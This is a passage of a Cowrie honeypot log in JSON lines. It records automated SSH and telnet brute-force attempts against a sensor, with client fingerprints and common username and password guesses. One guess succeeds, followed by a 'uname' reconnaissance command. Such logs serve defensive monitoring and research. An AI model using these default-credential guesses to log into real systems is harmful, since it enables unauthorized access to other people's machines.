-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:41.375942Z","src_ip":"45.153.34.112","session":"f8d5c066a6a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa123456","message":"login attempt [root/aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:41.622671Z","src_ip":"45.153.34.112","session":"f8d5c066a6a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:42.769969Z","src_ip":"45.153.34.112","session":"f8d5c066a6a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":55926,"dst_ip":"10.17.0.5","dst_port":22,"session":"69f9d12f807f","protocol":"ssh","message":"New connection: 45.153.34.112:55926 (10.17.0.5:22) [session: 69f9d12f807f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:44.875601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:44.880976Z","src_ip":"45.153.34.112","session":"69f9d12f807f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:44.963344Z","src_ip":"45.153.34.112","session":"69f9d12f807f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.97559332847595,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:44.979062Z","src_ip":"192.119.13.58","session":"7004ba968386","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123","message":"login attempt [deploy/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:45.211119Z","src_ip":"45.153.34.112","session":"69f9d12f807f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:46.350984Z","src_ip":"45.153.34.112","session":"69f9d12f807f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":55938,"dst_ip":"10.17.0.5","dst_port":22,"session":"f46f2c23bb5c","protocol":"ssh","message":"New connection: 45.153.34.112:55938 (10.17.0.5:22) [session: f46f2c23bb5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:48.562572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:48.566786Z","src_ip":"45.153.34.112","session":"f46f2c23bb5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:48.648645Z","src_ip":"45.153.34.112","session":"f46f2c23bb5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789","message":"login attempt [root/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:48.907920Z","src_ip":"45.153.34.112","session":"f46f2c23bb5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.4404137134552,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:49.041162Z","src_ip":"192.119.13.58","session":"6a7662c3ae15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:50.015260Z","src_ip":"45.153.34.112","session":"f46f2c23bb5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47250,"dst_ip":"10.17.0.5","dst_port":23,"session":"943f35c3c27e","protocol":"telnet","message":"New connection: 192.119.13.58:47250 (10.17.0.5:23) [session: 943f35c3c27e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:50.651571Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":42078,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed7d2fce759a","protocol":"ssh","message":"New connection: 45.153.34.112:42078 (10.17.0.5:22) [session: ed7d2fce759a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:51.956731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:52.014311Z","src_ip":"45.153.34.112","session":"ed7d2fce759a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:52.182258Z","src_ip":"45.153.34.112","session":"ed7d2fce759a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123456","message":"login attempt [root/Admin@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:52.453347Z","src_ip":"45.153.34.112","session":"ed7d2fce759a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:53.537904Z","src_ip":"45.153.34.112","session":"ed7d2fce759a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.65084409713745,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:54.281408Z","src_ip":"192.119.13.58","session":"4b6d597172af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":42088,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a6004bee67d","protocol":"ssh","message":"New connection: 45.153.34.112:42088 (10.17.0.5:22) [session: 2a6004bee67d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:55.618013Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:55.622961Z","src_ip":"45.153.34.112","session":"2a6004bee67d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:55.705794Z","src_ip":"45.153.34.112","session":"2a6004bee67d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345678","message":"login attempt [user/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:55.954027Z","src_ip":"45.153.34.112","session":"2a6004bee67d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38750,"dst_ip":"10.17.0.5","dst_port":23,"session":"835900646299","protocol":"telnet","message":"New connection: 192.119.13.58:38750 (10.17.0.5:23) [session: 835900646299]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:56.405958Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37800,"dst_ip":"10.17.0.5","dst_port":23,"session":"b32ff7983fbf","protocol":"telnet","message":"New connection: 192.119.13.58:37800 (10.17.0.5:23) [session: b32ff7983fbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:57.107179Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:57.144882Z","src_ip":"45.153.34.112","session":"2a6004bee67d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47296,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4683c7392b1","protocol":"telnet","message":"New connection: 192.119.13.58:47296 (10.17.0.5:23) [session: c4683c7392b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:58.788887Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":42102,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff9f4d60ed9e","protocol":"ssh","message":"New connection: 45.153.34.112:42102 (10.17.0.5:22) [session: ff9f4d60ed9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:58.996684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:59.001952Z","src_ip":"45.153.34.112","session":"ff9f4d60ed9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:59.084557Z","src_ip":"45.153.34.112","session":"ff9f4d60ed9e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot123","message":"login attempt [bot/bot123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:59.331746Z","src_ip":"45.153.34.112","session":"ff9f4d60ed9e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:59.550711Z","src_ip":"45.153.34.112","session":"ff9f4d60ed9e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:59.553784Z","src_ip":"45.153.34.112","session":"ff9f4d60ed9e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:59.763046Z","src_ip":"45.153.34.112","session":"ff9f4d60ed9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:07:59.768231Z","src_ip":"45.153.34.112","session":"ff9f4d60ed9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55974,"dst_ip":"10.17.0.5","dst_port":23,"session":"a18a8813cd49","protocol":"telnet","message":"New connection: 192.119.13.58:55974 (10.17.0.5:23) [session: a18a8813cd49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:01.444762Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":47990,"dst_ip":"10.17.0.5","dst_port":22,"session":"96dc0b96395e","protocol":"ssh","message":"New connection: 45.153.34.112:47990 (10.17.0.5:22) [session: 96dc0b96395e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:02.547477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:02.553521Z","src_ip":"45.153.34.112","session":"96dc0b96395e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:02.638242Z","src_ip":"45.153.34.112","session":"96dc0b96395e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts","password":"ts","message":"login attempt [ts/ts] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:02.887553Z","src_ip":"45.153.34.112","session":"96dc0b96395e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:03.981028Z","src_ip":"45.153.34.112","session":"96dc0b96395e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37614,"dst_ip":"10.17.0.5","dst_port":23,"session":"def188a8102f","protocol":"telnet","message":"New connection: 192.119.13.58:37614 (10.17.0.5:23) [session: def188a8102f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:04.353806Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":47994,"dst_ip":"10.17.0.5","dst_port":22,"session":"504dc38b675e","protocol":"ssh","message":"New connection: 45.153.34.112:47994 (10.17.0.5:22) [session: 504dc38b675e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:05.950171Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:05.959459Z","src_ip":"45.153.34.112","session":"504dc38b675e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-s